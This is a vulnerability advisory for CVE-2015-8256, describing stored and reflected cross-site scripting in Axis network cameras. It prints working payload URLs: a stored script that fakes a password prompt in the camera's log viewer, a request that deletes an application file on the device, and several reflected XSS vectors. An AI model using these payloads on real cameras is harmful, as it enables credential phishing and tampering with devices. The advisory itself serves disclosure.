`I. ADVISORY INFORMATION  
-----------------------  
Title: Axis Network Cameras Multiple Cross-site scripting  
Vendor: Axis Communications  
Class: Improper Input Validation [CWE-20]  
CVE Name: CVE-2015-8256  
Remotely Exploitable: Yes  
Locally Exploitable: No  
OLSA-ID: OLSA-2015-8256  
  
  
vulnerability  
-------------  
AXIS Network Cameras are prone to multiple (stored/reflected) cross-site  
scripting vulnerability.  
  
technical details  
-----------------  
** STORED XSS  
  
  
# 1 Attacker injects a javascript payload in the vulnerable page (using  
some social enginner aproach):  
  
http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script  
type="text/javascript>prompt("AXIS_PASSWORD:")</script>  
  
This will generate an error like this on page:  
  
"  
Error processing XML: Incorrect formatting  
line number 2, column 60:  
<error type = "No_such_application" message = "No application" '<script  
type="text/javascript>prompt("AXIS_PASSWORD:")</script>'  
----------------------------------------------------------------^  
"  
  
and also will create a entry in the genneral log file (/var/log/messages)  
with the JSPayload:  
  
"  
<INFO > Apr 11 10:08:45 axis-eac8c03d901 vaconfig.cgi: Could not find  
application '<script  
type="text/javascript>prompt("AXIS_PASSWORD:")</script>'  
"  
  
When the user is viewing the log 'system options' -> 'support' -> 'Logs &  
Reports':  
http://{axishost}/axis-cgi/admin/systemlog.cgi?id  
  
the JSPayload will be interpreted by the browser and the Javascript prompt  
method will be executed showing a prompt asking user for the password  
('AXIS_PASSWORD').  
  
* With this vector an attacker is able to perfome many attacks using  
javascript, for example to hook users browser, capture users cookie,  
performe pishing attacks etc.  
  
However, due to CSRF presented is even possible to perform all actions  
already presented: create, edit and remove users and applications, etc. For  
example, to delete an application "axis_update" via SXSS:  
  
http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script src="http://  
axishost/axis-cgi/admin/local_del.cgi?+/usr/html/local/viewer/axis_update.shtml"></script>  
  
  
A reflected cross-site scripting affects all models of AXIS devices on the  
same parameter:  
http://  
{axis-cam-model}/view/view.shtml?imagePath=0WLL</script><script>alert('AXIS-XSS')</script><!--  
  
# Other Vectors  
http://  
{axishost}/admin/config.shtml?group=%3Cscript%3Ealert%281%29%3C/script%3E  
  
http://{axishost}/view/custom_whiteBalance.shtml?imagePath=<img src="xs"  
onerror=alert(7) /><!--  
http://{axishost}/admin-bin/editcgi.cgi?file=<script>alert(1)</script>  
  
http://  
{axishost}/operator/recipient_test.shtml?protocol=%3Cscript%3Ealert%281%29%3C/script%3E  
  
http://  
{axishost}/admin/showReport.shtml?content=alwaysmulti.sdp&pageTitle=axis</title></head><body><pre><script>alert(1)</script>
